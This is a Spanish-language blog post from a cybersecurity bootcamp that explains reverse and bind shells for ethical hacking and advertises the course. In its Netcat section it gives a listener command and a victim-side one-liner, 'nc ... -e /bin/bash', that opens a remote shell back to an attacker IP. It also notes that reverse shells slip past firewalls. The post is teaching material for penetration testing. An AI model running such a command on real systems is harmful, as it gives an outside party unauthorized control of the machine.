¿Qué es una shell inversa?

| Última modificación: 12 de junio de 2024 | Tiempo de Lectura: 3 minutos

Algunos de nuestros reconocimientos:

Premios KeepCoding

¿Sabes qué es una shell inversa, para qué se utiliza en hacking ético y cómo se puede ejecutar con Netcat?

En ciberseguridad, los tests de penetración se utilizan para poner a prueba la seguridad de los sistemas y las aplicaciones. En estos tests, se replican las técnicas usadas por hackers maliciosos con el fin de identificar fallos de seguridad y medir sus niveles de riesgo. A esto se le conoce como hacking ético y es uno de los servicios más demandados de la seguridad informática.

Los tests de penetración se dividen en varias fases, al igual que los ciberataques. Estas etapas van desde el reconocimiento pasivo y activo del sistema hasta la explotación de sus vulnerabilidades y el despliegue de payloads. Los payloads son códigos que ejecutan tareas maliciosas en un sistema comprometido y varían según su tamaño y nivel de riesgo para el sistema.

Algunos payloads, por ejemplo, permiten inyectar comandos en el ordenador o el servidor vulnerado. A esto se le conoce como ejecución remota de código y se puede hacer por medio de una shell inversa o directa. En este post, hablaremos sobre qué es una shell inversa y en qué se diferencia de la directa. ¿Cuál es mejor para ciberataques y tests de intrusión?

¿Qué es una shell inversa?

Una shell es una terminal conectada a distancia con otra que permite ejecutar comandos de manera remota en un servidor. Esto es útil en diferentes escenarios, pero, sobre todo, puede ser aprovechado por un atacante para robar información sensible o ejecutar tareas maliciosas en un sistema.

Una shell inversa se refiere a un proceso en el que la máquina de la víctima se conecta a la del atacante para recibir comandos. Es una técnica eficiente, ya que evade los firewalls y filtros de seguridad del tráfico que ingresa al ordenador. Por eso, los atacantes suelen utilizar este tipo de shells y es recomendable también hacerlo en tests de intrusión.

🔴 ¿Quieres entrar de lleno a la Ciberseguridad? 🔴

Descubre el Ciberseguridad Full Stack Bootcamp de KeepCoding. La formación más completa del mercado y con empleabilidad garantizada

👉 Prueba gratis el Bootcamp en Ciberseguridad por una semana

Una shell directa, por el contrario, es mucho menos utilizada, pero vale la pena saber que existe y que se puede ejecutar. Se refiere a un proceso mediante el cual la máquina del atacante se conecta a la de la víctima, con el fin de enviarle comandos para ejecutar. Ahora bien, este proceso es menos recomendable, ya que entonces necesitaría pasar todos los filtros de seguridad de tráfico web de un ordenador. Por eso, no se suele utilizar.

¿Cómo ejecutar una shell inversa?

Ya hemos visto qué es una shell inversa y en qué se diferencia de una directa. Ahora, veremos cómo se ejecuta por medio de un programa llamado Netcat.

  • Primero, en una terminal de Kali Linux, pondremos un puerto a la escucha con el comando:
//bind shell
nc -lvp 4444
  • Después, suponiendo que la dirección IP del atacante es 192.168.175.128, ejecuta el siguiente comando en otra terminal:
//reverse tcp
nc 192.168.175.128 4444 -e /bin/bash/

De este modo, se creará una reverse-shell en la terminal de Kali Linux que nos permitirá ejecutar cualquier comando bash en la máquina comprometida. Ahora bien, para lograr hacer esta conexión se necesitan dos cosas:

  1. Poner el puerto a la escucha, con Netcat, desde una terminal.
  2. Ejecutar el payload en el ordenador de la víctima.

Existen miles de formas de ejecutar el payload en el ordenador de una víctima. Todo depende de la vulnerabilidad que tenga el sistema. Si, de alguna forma, el atacante puede inyectar comandos de Linux en el sistema, entonces es altamente probable que puede formar una reverse shell con Netcat.

¿Cómo aprender más sobre shell inversa?

Ya hemos visto qué es una shell inversa y cómo ejecutarla con Netcat. Si quieres aprender más técnicas y herramientas de hacking ético, en KeepCoding tenemos un curso intensivo que te ayudará a impulsar tu carrera. Ingresa a nuestro Ciberseguridad Full Stack Bootcamp y especialízate en tan solo 7 meses. Aprenderás con profesores expertos y clases en vivo sobre módulos como recopilación de información, pentesting, criptografía, análisis de malware y mucho más. ¡No sigas esperando e inscríbete ahora!

Carlos Cilleruelo

CEO and co-founder of Byron Labs & Coordinador del Bootcamp en Ciberseguridad.

Posts más leídos

¡CONVOCATORIA ABIERTA!

Ciberseguridad

Full Stack Bootcamp

Clases en Directo | Profesores en Activo | Temario 100% actualizado